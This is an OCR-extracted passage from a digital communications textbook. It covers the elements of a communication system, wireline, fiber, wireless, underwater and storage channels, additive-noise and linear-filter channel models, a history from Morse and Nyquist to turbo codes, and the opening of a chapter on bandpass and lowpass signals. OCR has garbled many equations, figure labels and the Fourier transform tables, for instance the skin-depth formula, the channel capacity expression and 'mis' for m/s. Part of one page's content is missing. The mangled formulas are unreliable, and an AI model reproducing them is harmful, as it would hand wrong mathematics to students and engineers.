of communication systems are the characteristics of the physical channels through which the information is transmitted. The characteristics of the channel generally affect the design of the basic building blocks of the communication system. Below, we describe the elements of a communication system and their functions.\n\n1.1 ELEMENTS OF A DIGITAL COMMUNICATION SYSTEM\n\nFigure 1.1-1 illustrates the functional diagram and the basic elements of a digital communication system. The source output may be either an analog signal, such as an audio or video signal, or a digital signal, such as the output of a computer, that is discrete in time and has a finite number of output characters. In a digital communication system, the messages produced by the source are converted into a sequence of binary digits. Ideally, we should like to represent the source output (message) by as few binary digits as possible. In other words, we seek an efficient representation of the source output that results in little or no redundancy. The process of efficiently converting the output of either an analog or digital source into a sequence of binary digits is called source encoding or data compression. The sequence of binary digits from the source encoder, which we call the informa- tion sequence, is passed to the channel encoder. The purpose of the channel encoder is to introduce, in a controlled manner, some redundancy in the binary information sequence that can be used at the receiver to overcome the effects of noise and inter- ference encountered in the transmission of the signal through the channel. Thus, the added redundancy serves to increase the reliability of the received data and improves\n\n1\n\n2\n\nOutput signal\n\nDigital Communications\n\nInformation Source Channel Digital source and .. encoder\n\nencoder\n\nmodulator input transducer , Channel - Output .- Source .- Channel - Digital .- - transducer\n\ndecoder - decoder demodulator\n\nFIGURE 1.1-1 Basic elements of a digital communication system.\n\nthe fidelity of the received signal. In effect, redundancy in the information sequence aids the receiver in decoding the desired information sequence. For example, a (trivial) form of encoding of the binary information sequence is simply to repeat each binary digit m times, where m is some positive integer. More sophisticated (nontrivial) encod- ing involves taking k information bits at a time and mapping each k-bit sequence into a unique n-bit sequence, called a code word. The amount of redundancy introduced by encoding the data in this manner is measured by the ratio n/ k. The reciprocal of this ratio, namely k / n, is called the rate of the code or, simply, the code rate. The binary sequence at the output of the channel encoder is passed to the digital modulator, which serves as the interface to the communication channel. Since nearly all the communication channels encountered in practice are capable of transmitting electrical signals (waveforms), the primary purpose of the digital modulator is to map the binary information sequence into signal waveforms. To elaborate on this point, let us suppose that the coded information sequence is to be transmitted one bit at a time at some uniform rate R bits per second (bits/s). The digital modulator may simply map the binary digit 0 into a waveform so(t) and the binary digit 1 into a waveform Sl (t). In this manner, each bit from the channel encoder is transmitted separately. We call this binary modulation. Alternatively, the modulator may transmit b coded information bits at a time by using M == 2 b distinct waveforms Si(t), i == 0, 1, ..., M - 1, one waveform for each of the 2 b possible b-bit sequences. We call this M-ary modulation (M > 2). Note that a new b-bit sequence enters the modulator every b / R seconds. Hence, when the channel bit rate R is fixed, the amount of time available to transmit one of the M waveforms corresponding to a b-bit sequence is b times the time period in a system that uses binary modulation. The communication channel is the physical medium that is used to send the signal from the transmitter to the receiver. In wireless transmission, the channel may be the atmosphere (free space). On the other hand, telephone channels usually employ a variety of physical media, including wire lines, optical fiber cables, and wireless (microwave radio). Whatever the physical medium used for transmission of the information, the essential feature is that the transmitted signal is corrupted in a random manner by a\n\nChapter One: IntroductIon\n\n3\n\nvariety of possible mechanisms, such as additive thermal noise generated by electronic devices; man-made noise, e.g., automobile ignition noise; and atmospheric noise, e.g., electrical lightning discharges during thunderstorms. At the receiving end of a digital communication system, the digital den10dulator processes the channel-corrupted transmitted waveform and reduces the waveforms to a sequence of numbers that represent estimates of the transmitted data symbols (binary or M-ary). This sequence of numbers is passed to the channel decoder, which attempts to reconstruct the original information sequence from knowledge of the code used by the channel encoder and the redundancy contained in the received data. A measure of how well the demodulator and decoder perform is the frequency with which errors occur in the decoded sequence. More precisely, the average probability of a bit-error at the output of the decoder is a measure of the performance of the demodulator-decoder combination. In general, the probability of error is a function of the code characteristics, the types of waveforms used to transmit the information over the channel, the transmitter power, the characteristics of the channel (i.e., the amount of noise, the nature of the interference), and the method of demodulation and decoding. These items and their effect on performance will be discussed in detail in subsequent chapters. As a final step, when an analog output is desired, the source decoder accepts the output sequence from the channel decoder and, from knowledge of the source encoding method used, attempts to reconstruct the original signal from the source. Because of channel decoding errors and possible distortion introduced by the source encoder, and perhaps, the source decoder, the signal at the output of the source decoder is an approximation to the original source output. The difference or some function of the difference between the original signal and the reconstructed signal is a measure of the distortion introduced by the digital communication system.\n\n1.2 COMMUNICATION CHANNELS AND THEIR CHARACTERISTICS\n\nAs indicated in the preceding discussion, the communication channel provides the con- nection between the transmitter and the receiver. The physical channel may be a pair of wires that carry the electrical signal, or an optical fiber that carries the information on a modulated light beam, or an underwater ocean channel in which the information is trans- mitted acoustically, or free space over which the information-bearing signal is radiated by use of an antenna. Other media that can be characterized as communication channels are data storage media, such as magnetic tape, magnetic disks, and optical disks. One common problem in signal transmission through any channel is additive noise. In general, additive noise is generated internally by components such as resistors and solid-state devices used to implement the communication system. This is sometimes called thermal noise. Other sources of noise and interference may arise externally to the system, such as interference from other users of the channel. When such noise and interference occupy the same frequency band as the desired signal, their effect can be minimized by the proper design of the transmitted signal and its demodulator at\n\n4\n\nDigital Communications\n\nthe receiver. Other types of signal degradations that may be encountered in transmission over the channel are signal attenuation, amplitude and phase distortion, and multipath distortion. The effects of noise may be minimized by increasing the power in the transmitted signal. However, equipment and other practical constraints limit the power level in the transmitted signal. Another basic limitation is the available channel bandwidth. A bandwidth constraint is usually due to the physical limitations of the medium and the electronic components used to implement the transmitter and the receiver. These two limitations constrain the amount of data that can be transmitted reliably over any communication channel as we shall observe in later chapters. Below, we describe some of the important characteristics of several communication channels.\n\nWireline Channels The telephone network makes extensive use of wire lines for voice signal transmission, as well as data and video transmission. Twisted-pair wire lines and coaxial cable are basically guided electromagnetic channels that provide relatively modest bandwidths. Telephone wire generally used to connect a customer to a central office has a bandwidth of several hundred kilohertz (kHz). On the other hand, coaxial cable has a usable bandwidth of several megahertz (MHz). Figure 1.2-1 illustrates the frequency range of guided electromagnetic channels, which include waveguides and optical fibers. Signals transmitted through such channels are distorted in both amplitude and phase and further corrupted by additive noise. Twisted-pair wireline channels are also prone to crosstalk interference from physically adjacent channels. Because wireline channels carry a large percentage of our daily communications around the country and the world, much research has been performed on the characterization of their trans- mission properties and on methods for mitigating the amplitude and phase distortion encountered in signal transmission. In Chapter 9, we describe methods for designing optimum transmitted signals and their demodulation; in Chapter 10, we consider the design of channel equalizers that compensate for amplitude and phase distortion on these channels.\n\nFiber-Optic Channels Optical fibers offer the communication system designer a channel bandwidth that is several orders of magnitude larger than coaxial cable channels. During the past two decades, optical fiber cables have been developed that have a relatively low signal atten- uation, and highly reliable photonic devices have been developed for signal generation and signal detection. These technological advances have resulted in a rapid deploy- ment of optical fiber channels, both in domestic telecommunication systems as well as for transcontinental communication. With the large bandwidth available on fiber-optic channels, it is possible for telephone companies to offer subscribers a wide array of telecommunication services, including voice, data, facsimile, and video. The transmitter or modulator in a fiber-optic communication system is a light source, either a light-emitting diode (LED) or a laser. Information is transmitted by varying (modulating) the intensity of the light source with the message signal. The light propagates through the fiber as a light wave and is amplified periodically (in the case of\n\nChapter One: Introduction\n\n5\n\nUltraviolet\n\n10 15 Hz\n\nFIGURE 1.2-1 Frequency range for guided wire channel.\n\nVisible light\n\n10- 6 m\n\nInfrared\n\n10 14 Hz\n\n100 mm 100 GHz 1 cm Waveguide 10 GHz 10 cm 1 GHz\n\n>. 1m Co) s::: 5 (I) '0 100 MHz 5- > (I)\n\nI-c Coaxial cable\n\n10m channels 10 MHz 100m 1 MHz 1 km 100 kHz 10km Twisted-pair wireline channels 10kHz 100 km 1 kHz\n\ndigital transmission, it is detected and regenerated by repeaters) along the transmission path to compensate for signal attenuation. At the receiver, the light intensity is detected by a photodiode, whose output is an electrical signal that varies in direct proportion to the power of the light impinging on the photodiode. Sources of noise in fiber-optic channels are photodiodes and electronic amplifiers.\n\nWireless Electromagnetic Channels In wireless communication systems, electromagnetic energy is coupled to the prop- agation medium by an antenna which serves as the radiator. The physical size and the configuration of the antenna depend primarily on the frequency of operation. To obtain efficient radiation of electromagnetic en'ergy, the antenna must be longer than\n\n6\n\nDigital Communications\n\n/0 of the wavelength. Consequently, a radio station transmitting in the amplitude- modulated (AM) frequency band, say at Ie = 1 MHz [corresponding to a wavelength of A = C / Ie = 300 meters (m)], requires an antenna of at least 30 m. Other important characteristics and attributes of antennas for wireless transmission are described in Chapter 4. Figure 1.2-2 illustrates the various frequency bands of the electromagnetic spec- trum. The mode of propagation of electromagnetic waves in the atmosphere and in\n\nFrequency band Use Ultraviolet 1 0 15 Hz Visible light Expenmental 10- 6 m Infrared 10 14 Hz\n\nI-c 100m Citizen's band\n\nMedium frequency AM broadcast 1 MHz (MF) 1 km Longwave Low frequency Aeronautical radio (LF) Navigation 100 kHz\n\n10km Radio teletype Very low frequency 10 kHz (VLF) 100 km Audio 1 kHz band\n\nFIGURE 1.2-2 Frequency range for wireless electromagnetic channels. [Adapted from Carlson (1975), 2nd edition, @ McGraw-Hill Book Company Co. Reprinted with permission of the publisher.]\n\nChapter One: Introduction\n\n7\n\nFIGURE 1.2-3 Illustration of ground-wave propagation.\n\n.... .... .... .... .... ,- ,- ,- ,- ,- ,- / \" / I I I I I\n\nIonosphere\n\n_ _ _ _ ........-\n\n--\n\nFIGURE 1.2-4 Illustration of sky-wave propagation.\n\n.... \"- \"- ... ... ... , , , , \\ \\ \\\n\n8\n\nDigital Communications\n\nChapter One: Introduction\n\n9\n\nhave been used in experimental communication systems, such as satellite-to-satellite links.\n\nUnderwater Acoustic Channels Over the past few decades, ocean exploration activity has been steadily increasing. Coupled with this increase is the need to transmit data, collected by sensors placed under water, to the surface of the ocean. From there, it is possible to relay the data via a satellite to a data collection center. Electromagnetic waves do not propagate over long distances under water except at extremely low frequencies. However, the transmission of signals at such low frequencies is prohibitively expensive because of the large and powerful transmitters required. The attenuation of electromagnetic waves in water can be expressed in terms of the skin depth, which is the distance a signal is attenuated by 1/ e. For seawater, the skin depth 8 = 250/,J], where f is expressed in Hz and 8 is in m. For example, at 10 kHz, the skin depth is 2.5 m. In contrast, acoustic signals propagate over distances of tens and even hundreds of kilometers. An underwater acoustic channel is characterized as a multipath channel due to signal reflections from the surface and the bottom of the sea. Because of wave mo- tion, the signal multipath components undergo time-varying propagation delays that result in signal fading. In addition, there is frequency-dependent attenuation, which is approximately proportional to the square of the signal frequency. The sound velocity is nominally about 1500 mis, but the actual value will vary either above or below the nominal value depending on the depth at which the signal propagates. Ambient ocean acoustic noise is caused by shrimp, fish, and various mammals. Near harbors, there is also man-made acoustic noise in addition to the ambient noise. In spite of this hostile environment, it is possible to design and implement efficient and highly reliable underwater acoustic communication systems for transmitting digital signals over large distances.\n\nStorage Channels Information storage and retrieval systems constitute a very significant part of data- handling activities on a daily basis. Magnetic tape, including digital audiotape and videotape, magnetic disks used for storing large amounts of computer data, optical disks used for computer data storage, and compact disks are examples of data storage systems that can be characterized as communication channels. The process of storing data on a magnetic tape or a magnetic or optical disk is equivalent to transmitting a signal over a telephone or a radio channel. The readback process and the signal processing involved in storage systems to recover the stored information are equivalent to the functions performed by a receiver in a telephone or radio communication system to recover the transmitted information. Additive noise generated by the electronic components and interference from ad- jacent tracks is generally present in the readback signal of a storage system, just as is the case in a telephone or a radio communication system. The amount of data that can be stored is generally limited by the size of the disk or tape and the density (number of bits stored per square inch) that can be achieved by\n\n10\n\nDigital Communications\n\nthe write/read electronic systems and heads. For example, a packing density of 10 9 bits per square inch has been demonstrated in magnetic disk storage systems. The speed at which data can be written on a disk or tape and the speed at which it can be read back are also limited by the associated mechanical and electrical subsystems that constitute an information storage system. Channel coding and modulation are essential components of a well-designed digital magnetic or optical storage system. In the readback process, the signal is demodulated and the added redundancy introduced by the channel encoder is used to correct errors in the readback signal.\n\n1.3 MATHEMATICAL MODELS FOR COMMUNICATION CHANNELS\n\nIn the design of communication systems for transmitting information through physical channels, we find it convenient to construct mathematical models that reflect the most important characteristics of the transmission medium. Then, the mathematical model for the channel is used in the design of the channel encoder and modulator at the transmitter and the demodulator and channel decoder at the receiver. Below, we provide a brief description of the channel models that are frequently used to characterize many of the physical channels that we encounter in practice.\n\nThe Additive Noise Channel The simplest mathematical model for a communication channel is the additive noise channel, illustrated in Figure 1.3-1. In this model, the transmitted signal s(t) is corrupted by an additive random noise process net). Physically, the additive noise process may arise from electronic components and amplifiers at the receiver of the communication system or from interference encountered in transmission (as in the case of radio signal transmission) . If the noise is introduced primarily by electronic components and amplifiers at the receiver, it may be characterized as thermal noise. This type of noise is characterized statistically as a Gaussian noise process. Hence, the resulting mathematical model for the channel is usually called the additive Gaussian noise channel. Because this channel model applies to a broad class of physical communication channels and because of its mathematical tractability, this is the predominant channel model used in our communication system analysis and design. Channel attenuation is easily incorporated into the model. When the signal undergoes attenuation in transmission through the\n\nChannel set) + t 11 (t)\n\nFIGURE 1.3-1 The additive noise channel.\n\nr(t) = set) + net)\n\nChapter One: Introduction\n\nset)\n\nLinear filter e(t)\n\nFIGURE 1.3-2 The linear filter channel with additive noise.\n\nr(t) = set) * e(t) + net)\n\nChannel\n\nnet)\n\nr(t) == as(t) + net)\n\nwhere a is the attenuation factor.\n\n11\n\n(1.3-1)\n\nThe Linear Filter Channel In some physical channels, such as wireline telephone channels, filters are used to en- sure that the transmitted signals do not exceed specified bandwidth limitations and thus do not interfere with one another. Such channels are generally characterized mathemat- ically as linear filter channels with additive noise, as illustrated in Figure 1.3-2. Hence, if the channel input is the signal set), the channel output is the signal r(t) == set) * e(t) + net) = i: c('r)s(t - T) dT + n(t)\n\nwhere e(t) is the impulse response of the linear filter and * denotes convolution.\n\n(1.3-2)\n\nThe Linear Time-Variant Filter Channel Physical channels such as underwater acoustic channels and ionospheric radio chan- nels that result in time-variant multipath propagation of the transmitted signal may be characterized mathematically as time-variant linear filters. Such linear filters are charac- terized by a time-variant channel impulse response e( -r; t), where e( -r; t) is the response of the channel at time t due to an impulse applied at time t - -r. Thus, -r represents the \"age\" (elapsed-time) variable. The linear time-variant filter channel with additive noise is illustrated in Figure 1.3-3. For an input signal set), the channel output signal is r(t) == set) * e(-r; t) + net) = i: C(T; t)s(t - T) dT + n(t)\n\nset)\n\nLinear time-van ant filter e (1:', t)\n\nFIGURE 1.3-3 Linear time-variant filter channel with additive noise.\n\nr(t)\n\nChannel\n\nnet)\n\n(1.3-3)\n\n12\n\nDigital Communications\n\nA good model for multipath signal propagation through physical channels, such as the ionosphere (at frequencies below 30 MHz) and mobile cellular radio channels, is a special case of (1.3-3) in which the time-variant impulse response has the form\n\nL c(-r; t) == L a k(t)8(-r - Lk) k=l\n\n(1.3-4)\n\nwhere the {ak(t)} represents the possibly time-variant attenuation factors for the L multipath propagation paths and {Lk} are the corresponding time delays. If (1.3-4) is substituted into (1.3-3), the received signal has the form\n\nL r(t) == L ak(t)s(t - Lk) + net) k=l\n\n(1.3-5)\n\nHence, the received signal consists of L multipath components, where the kth compo- nent is attenuated by ak(t) and delayed by Lk. The three mathematical models described above adequately characterize the great majority of the physical channels encountered in practice. These three channel models are used in this text for the analysis and design of communication systems.\n\n1.4 A HISTORICAL PERSPECTIVE IN THE DEVELOPMENT OF DIGITAL COMMUNICATIONS\n\nIt is remarkable that the earliest form of electrical communication, namely telegraphy, was a digital communication system. The electric telegraph was developed by Samuel Morse and was demonstrated in 1837. Morse devised the variable-length binary code in which letters of the English alphabet are represented by a sequence of dots and dashes (code words). In this code, more frequently occurring letters are represented by short code words, while letters occurring less frequently are represented by longer code words. Thus, the Morse code was the precursor of the variable-length source coding methods described in Chapter 6. Nearly 40 years later, in 1875, Emile Baudot devised a code for telegraphy in which every letter was encoded into fixed-length binary code words of length 5. In the Baudot code, binary code elements are of equal length and designated as mark and space. Although Morse is responsible for the development of the first electrical digital communication system (telegraphy), the beginnings of what we now regard as modern digital communications stem from the work of Nyquist (1924), who investigated the problem of determining the maximum signaling rate that can be used over a telegraph channel of a given bandwidth without intersymbol interference. He formulated a model of a telegraph system in which a transmitted signal has the general form\n\nset) == L ang(t - nT)\n\n(1.4-1)\n\nn\n\nChapter One: Introduction\n\n13\n\nwhere g(t) represents a basic pulse shape and {an} is the binary data sequence of {::l: I} transmitted at a rate of 1/ T bits/so Nyquist set out to determine the optimum pulse shape that was band-limited to WHz and maximized the bit rate under the constraint that the pulse caused no intersymbol interference at the sampling time k / T, k == 0, ::l: 1, ::l:2, . . . . His studies led him to conclude that the maximum pulse rate is 2 W pulses/so This rate is now called the Nyquist rate. Moreover, this pulse rate can be achieved by using the pulses g (t) == (sin 2n W t) / 2n W t. This pulse shape allows recovery of the data without intersymbol interference at the sampling instants. Nyquist's result is equivalent to a version of the sampling theorem for band-limited signals, which was later stated precisely by Shannon (1948b). The sampling theorem states that a signal of bandwidth W can be reconstructed from samples taken at the Nyquist rate of 2 W samples/s using the interpolation formula\n\nset) == L S (\n\n) sin[2nW(t - n/2W)] n 2W 2nW(t - n/2W)\n\n(1.4-2)\n\nIn light of Nyquist's work, Hartley (1928) considered the issue of the amount of data that can be transmitted reliably over a band-limited channel when multiple amplitude levels are used. Because of the presence of noise and other interference, Hartley postulated that the receiver can reliably estimate the received signal amplitude to some accuracy, say A8. This investigation led Hartley to conclude that there is a maximum data rate that can be communicated reliably over a band-limited channel when the maximum signal amplitude is limited to Amax (fixed power constraint) and the amplitude resolution is A8. Another significant advance in the development of communications was the work of Kolmogorov (1939) and Wiener (1942), who considered the problem of estimating a desired signal waveform set) in the presence of additive noise net), based on observation of the received signal r(t) == set) + net). This problem arises in signal demodulation. Kolmogorov and Wiener determined the linear filter whose output is the best mean- square approximation to the desired signal set). The resulting filter is called the optimum linear (Kolmogorov- Wiener) filter. Hartley's and Nyquist's results on the maximum transmission rate of digital in- formation were precursors to the work of Shannon (1948a,b), who established the mathematical foundations for information transmission and derived the fundamental limits for digital communication systems. In his pioneering work, Shannon formulated the basic problem of reliable transmission of information in statistical terms, using probabilistic models for information sources and communication channels. Based on such a statistical formulation, he adopted a logarithmic measure for the information content of a source. He also demonstrated that the effect of a transmitter power con- straint, a bandwidth constraint, and additive noise can be associated with the channel and incorporated into a single parameter, called the channel capacity. For example, in the case of an additive white (spectrally flat) Gaussian noise interference, an ideal band-limited channel of bandwidth W has a capacity C given by\n\nC == WIOg 2 ( 1 + p ) WN o\n\nbits/s\n\n(1.4-3)\n\n14\n\nDigital Communications\n\nwhere P is the average transmitted power and No is the power spectral density of the additive noise. The significance of the channel capacity is as follows: If the information rate R from the source is less than C(R < C), then it is theoretically possible to achieve reliable (error-free) transmission through the channel by appropriate coding. On the other hand, if R > C, reliable transmission is not possible regardless of the amount of signal processing performed at the transmitter and receiver. Thus, Shannon established basic limits on communication of information and gave birth to a new field that is now called information theory. Another important contribution to the field of digital communication is the work of Kotelnikov (1947), who provided a coherent analysis of the various digital commu- nication systems based on a geometrical approach. Kotelnikov's approach was later expanded by Wozencraft and Jacobs (1965). Following Shannon's publications came the classic work of Hamming (1950) on error-detecting and error-correcting codes to combat the detrimental effects of channel noise. Hamming's work stimulated many researchers in the years that followed, and a variety of new and powerful codes were discovered, many of which are used today in the implementation of modem communication systems. The increase in demand for data transmission during the last four decades, coupled with the development of more sophisticated integrated circuits, has led to the develop- ment of very efficient and more reliable digital communication systems. In the course of these developments, Shannon's original results and the generalization of his results on maximum transmission limits over a channel and on bounds on the performance achieved have served as benchmarks for any given communication system design. The theoretical limits derived by Shannon and other researchers that contributed to the de- velopment of information theory serve as an ultimate goal in the continuing efforts to design and develop more efficient digital communication systems. There have been many new advances in the area of digital communications follow- ing the early work of Shannon, Kotelnikov, and Hamming. Some of the most notable advances are the following:\n\n· The development of new block codes by Muller (1954), Reed (1954), Reed and Solomon (1960), Bose and Ray-Chaudhuri (1960a,b), and Goppa (1970, 1971). · The development of concatenated codes by Forney (1966a). · The development of computationally efficient decoding of Bose-Chaudhuri- Hocquenghem (BCH) codes, e.g., the Berlekamp-Massey algorithm (see Chien, 1964; Berlekamp, 1968). · The development of convolutional codes and decoding algorithms by Wozencraft and Reiffen (1961), Fano (1963), Zigangirov (1966), Jelinek (1969), Forney (1970b, 1972,1974), and Viterbi (1967,1971). · The development of trellis-coded modulation by Ungerboeck (1982), Forney et al. (1984), Wei (1987), and others. · The development of efficient source encodings algorithms for data compression, such as those devised by Ziv and Lempel (1977, 1978), and Linde et al. (1980). · The development of low-density parity check (LDPC) codes and the sum-product decoding algorithm by Gallager (1963). · The development of turbo codes and iterative decoding by Berrou et al. (1993).\n\nChapter One IntroductIon\n\n15\n\n1.5 OVERVIEW OF THE BOOK\n\nChapter 2 presents a review of deterministic and random signal analysis. Our primary objectives in this chapter are to review basic notions in the theory of probability and random variables and to establish some necessary notation. Chapters 3 through 5 treat the geometric representation of various digital modula- tion signals, their demodulation, their error rate performance in additive, white Gaussian noise (A WGN) channels, and methods for synchronizing the receiver to the received signal waveforms. Chapters 6 to 8 treat the topics of source coding, channel coding and decoding, and basic information theoretic limits on channel capacity, source information rates, and channel coding rates. The design of efficient modulators and demodulators for linear filter channels with distortion is treated in Chapters 9 and 10. Channel equalization methods are described for mitigating the effects of channel distortion. Chapter 11 is focused on multichannel and multicarrier communication systems, their efficient implementation, and their performance in A WGN channels. Chapter 12 presents an introduction to direct sequence and frequency hopped spread spectrum signals and systems and an evaluation of their performance under worst-case interference conditions. The design of signals and coding techniques for digital communication through fading multipath channels is the focus of Chapters 13 and 14. This material is especially relevant to the design and development of wireless communication systems. Chapter 15 treats the use of multiple transmit and receive antennas for improv- ing the performance of wireless communication systems through signal diversity and increasing the data rate via spatial multiplexing. The capacity of multiple antenna systems is evaluated and space-time codes are described for use in multiple antenna communication systems. Chapter 16 of this book presents an introduction to multiuser communication systems and multiple access methods. We consider detection algorithms for uplink transmission in which multiple users transmit data to a common receiver (a base station) and evaluate their performance. We also present algorithms for suppressing multiple access interference in a broadcast communication system in which a transmit- ter employing multiple antennas transmits different data sequences simultaneously to different users.\n\n1.6 BIBLIOGRAPHICAL NOTES AND REFERENCES\n\nThere are several historical treatments regarding the development of radio and telecom- munications during the past century. These may be found in the books by McMahon (1984), Millman (1984), and Ryder and Fink (1984). We have already cited the classi- cal works of Nyquist (1924), Hartley (1928), Kotelnikov (1947), Shannon (1948), and\n\n16\n\nDigital Communications\n\nHamming (1950), as well as some of the more important advances that have occurred in the field since 1950. The collected papers by Shannon have been published by IEEE Press in a book edited by Sloane and Wyner (1993) and previously in Russia in a book edited by Dobrushin and Lupanov (1963). Other collected works published by the IEEE Press that might be of interest to the reader are Key Papers in the Development of Coding Theory, edited by Berlekamp (1974), and Key Papers in the Development of Information Theory, edited by Slepian (1974).\n\na=\n\nDeterministic and Random Signal Analysis\n\nIn this chapter we present the background material needed in the study of the following chapters. The analysis of deterministic and random signals and the study of different methods for their representation are the main topics of this chapter. In addition, we also introduce and study the main properties of some random variables frequently encountered in analysis of communication systems. We continue with a review of random processes, properties of lowpass and bandpass random processes, and series expansion of random processes. Throughout this chapter, and the book, we assume that the reader is familiar with the properties of the Fourier transform as summarized in Table 2.0-1 and the important Fourier transform pairs given in Table 2.0-2. In these tables we have used the following signal definitions.\n\n1 It I < ! { sin(nt) t#O net) == 1 t - ::1:: 1 sinc(t) = 1 nt 2 - 2 t==O 0 otherwise and 1 t>O t + 1 -1 < t < 0 sgn(t) == -1 t<O A(t) == net) * net) == -t + 1 O < t<l 0 t==O 0 otherwise\n\nThe unit step signal U-l (t) is defined as\n\nU-l (t) ==\n\n1 2\n\nt==O\n\n1 t > 0\n\no t < 0\n\nWe also assume that the reader is familiar with elements of probability, random variables, and random processes as covered in standard texts such as Papoulis and Pillai (2002), Leon-Garcia (1994), and Stark and Woods (2002).\n\n17\n\n18\n\nDIgItal COllli11Unlcatlons\n\nTABLE 2.0-1 Table of Fourier Transform Properties Property Signal Fourier Transform Linearity aXI (t) + f3x2(t) aXI(f) + f3X 2 (f) Duality X(t) x( - f) Conjugacy x.f(t) X* ( - f) Time-scaling (a i=- 0) x(at) 1 X ( f) lal a Time-shift x(t - to) e- j2n fto X (f) Modulation ej2nfot x(t) X(f - fo) Convolution x(t) * yet) X(f)Y(f) Multiplication x(t)y(t) X(f) * Y(f) Differentiation d ll (j2nf)'1 X(f) dt ll x(t) Differentiation in frequency t l1 x(t) ( j ) 11 dll 2n dfll X(f)\n\nIntegration\n\n1 t oo x(r:) dr:\n\n(f) + 1. X(0)8( f ) j2nf 2 1: x(t)y'(t)dt = 1: X(f)Y '(f) df 1: Ix(t)1 2 dt = 1: IX(f)1 2 df\n\nParseval's theorem\n\nRayleigh's theorem\n\n2.1 BANDPASS AND LOWPASS SIGNAL REPRESENTATION\n\nAs was discussed in Chap. 1, the process of communication consists of transmission of the output of an information source over a communication channel. In almost all cases, the spectral characteristics of the information sequence do not directly match the spectral characteristics of the communication channel, and hence the information signal cannot be directly transmitted over the channel. In many cases the information signal is a low frequency (baseband) signal, and the available spectrum of the communication channel is at higher frequencies. Therefore, at the transmitter the information signal is translated to a higher frequency signal that matches the properties of the communication channel. This is the modulation process in which the baseband information signal is turned into a bandpass modulated signal. In this section we study the main properties of baseband and bandpass signals.\n\n2.1-1 Bandpass and Lowpass Signals\n\nIn this section we will show that any real, narrowband, and high frequency signal- called a bandpass signal-can be represented in terms of a complex low frequency\n\nChapter Two' Detennlnistic and Random SIgnal AnalYSIS\n\n19\n\nTABLE 2.0-2 Table of Fourier Transform Pairs\n\nTime Domain\n\nFrequenc)' Domain\n\n8(t) 1 8(t - to)\n\n1 8(f)\n\ne- j2n (to\n\ne j2nfot\n\n8(f - fo) 1 8 (f - fo) + 1 8 (f + fo) 2 l j 8(f - fo) - L 8(f + fo)\n\ncos(2n fot)\n\nsin(2n fot)\n\nnet) sinc( t)\n\nsinc(f) n(f) sinc 2 (f) A(f)\n\nA(t) sinc 2 (t) e- at U-I (t), a > 0\n\n1 a+ j2nf\n\nte- at U-I (t), a > 0\n\n1 (a+ j2nf)2\n\ne-a1tl(a > 0)\n\n2a a 2 +(2nf)2\n\n-n t 2 e\n\n-n (2 e\n\ns gn( t ) U-I (t) 1 8 (t) + j 2;t\n\n1 jn ( 1 8 (f) + j2\n\n{ U-I (f)\n\n8 ' (t) 8(1I)(t)\n\nj 2n f (j 2n ft - j n sgn(f)\n\n00\n\n00 A L8(t- ;J\n\nL 8(t - nTo)\n\n11=-00\n\n11=-00\n\nsignal, called the lowpass equivalent of the original bandpass signal. This result makes it possible to work with the lowpass equivalents of bandpass signals instead of directly working with them, thus greatly simplifying the handling of bandpass signals. That is so because applying signal processing algorithms to lowpass signals is much easier due to lower required sampling rates which in turn result in lower rates of the sampled data. The Fourier transform of a signal provides information about the frequency content, or spectrum, of the signal. The Fourier transform of a real signal x(t) has Hermitian symn\n\netry, i.e., X( - f) == X*(f), from which we conclude that IX( - f)1 == IX(f)1 and LX*(f) == -LX(f). In other words, for real x(t), the magnitude of X(f) is even and\n\n20\n\nDigital Communications\n\nX(f)\n\nFIGURE 2.1-1 The spectrum of a real-valued lowpass (baseband) signal.\n\n,.. ,.. ,.. ,.. '\" '\" '\" /\n\nw\n\nf\n\n..\n\nits phase is odd. Because of this symmetry, all information about the signal is in the positive (or negative) frequencies, and in particular x(t) can be perfectly reconstructed by specifying X(f) for f > O. Based on this observation, for a real signal x(t), we define the bandwidth as the smallest range of positive frequencies such that X (f) == 0 when I f I is outside this range. It is clear that the bandwidth of a real signal is one-half of its frequency support set. A lowpass, or baseband, signal is a signal whose spectrum is located around the zero frequency. For instance, speech, music, and video signals are alllowpass signals, although they have different spectral characteristics and bandwidths. Usually lowpass signals are low frequency signals, which means that in the time domain, they are slowly varying signals with no jumps or sudden variations. The bandwidth of a reallowpass signal is the minimum positive W such that X(f) == 0 outside [- w, + W]. For these signals the frequency support, i.e., the range of frequencies for which X(f) =1= 0, is [- w, + W]. An example of the spectrum of a real-valued lowpass signal is shown in Fig. 2.1-1. The solid line shows the magnitude spectrum I X (f) I, and the dashed line indicates the phase spectrum LX(f). We also define the positive spectrum and the negative spectrum of a signal x(t) as\n\nX+(f) ==\n\nX(f) !X(O) o\n\nf>O f==O f<O\n\nX-(f) ==\n\nX(f) !X(O) o\n\nf<O f==O f>O\n\n(2.1-1 )\n\nIt is clear that X+(f) == X(f)U-l (f), X-(f) == X(f)U-l (- f) and X(f) == X+(f) + X-(f). For a real signal x(t), since X(f) is Hermitian, we have X-(f) == X\n\n( - f). For a complex signal x(t), the spectrum X(f) is not symmetric; hence, the signal cannot be reconstructed from the information in the positive frequencies only. For complex signals, we define the bandwidth as one-half of the entire range of frequencies over which the spectrum is nonzero, i.e., one-half of the frequency support of the signal. This definition is for consistency with the definition of bandwidth for real signals. With this definition we can state that in general and for all signals, real or complex, the bandwidth is defined as one-half of the frequency support. In practice, the spectral characteristics of the message signal and the communication channel do not always match, and it is required that the message signal be modulated by one of the many different modulation methods to match its spectral characteristics to\n\nChapter Two: Deterministic and Random Signal Analysis\n\n21\n\nX(f)\n\nx _ (f)\n\n\"\n\nX + (f) \" ... f \" fo \"\n\n\",,\"- fo\n\nFIGURE 2.1-2 The spectrum of a real-valued bandpass signal.\n\nthe spectral characteristics of the channel. In this process, the spectrum of the lowpass message signal is translated to higher frequencies. The resulting modulated signal is a bandpass signal. A bandpass signal is a real signal whose frequency content, or spectrum, is located around some frequency\n\nfa which is far from zero. More formally, we define a bandpass signal to be a real signal x(t) for which there exists positive fa and W such that the positive spectrum of X(f), i.e., X+(f), is nonzero only in the interval [fa - W /2, fa + W /2], where W /2 < fa (in practice, usually W « fa). The frequency fa is called the central frequency. Obviously, the bandwidth of x(t) is at most equal to W. Bandpass signals are usually high frequency signals which are characterized by rapid variations in the time domain. An example of the spectrum of a bandpass signal is shown in Figure 2.1-2. Note that since the signal x(t) is real, its magnitude spectrum (solid line) is even, and its phase spectrum (dashed line) is odd. Also, note that the central frequency fa is not necessarily the midband frequency of the bandpass signal. Due to the symmetry of the spectrum, X+(f) has all the information that is necessary to reconstruct X (f). In fact we can write\n\nX(f) = X+(f) + X-(f) = X+(f) + X\n\n( - 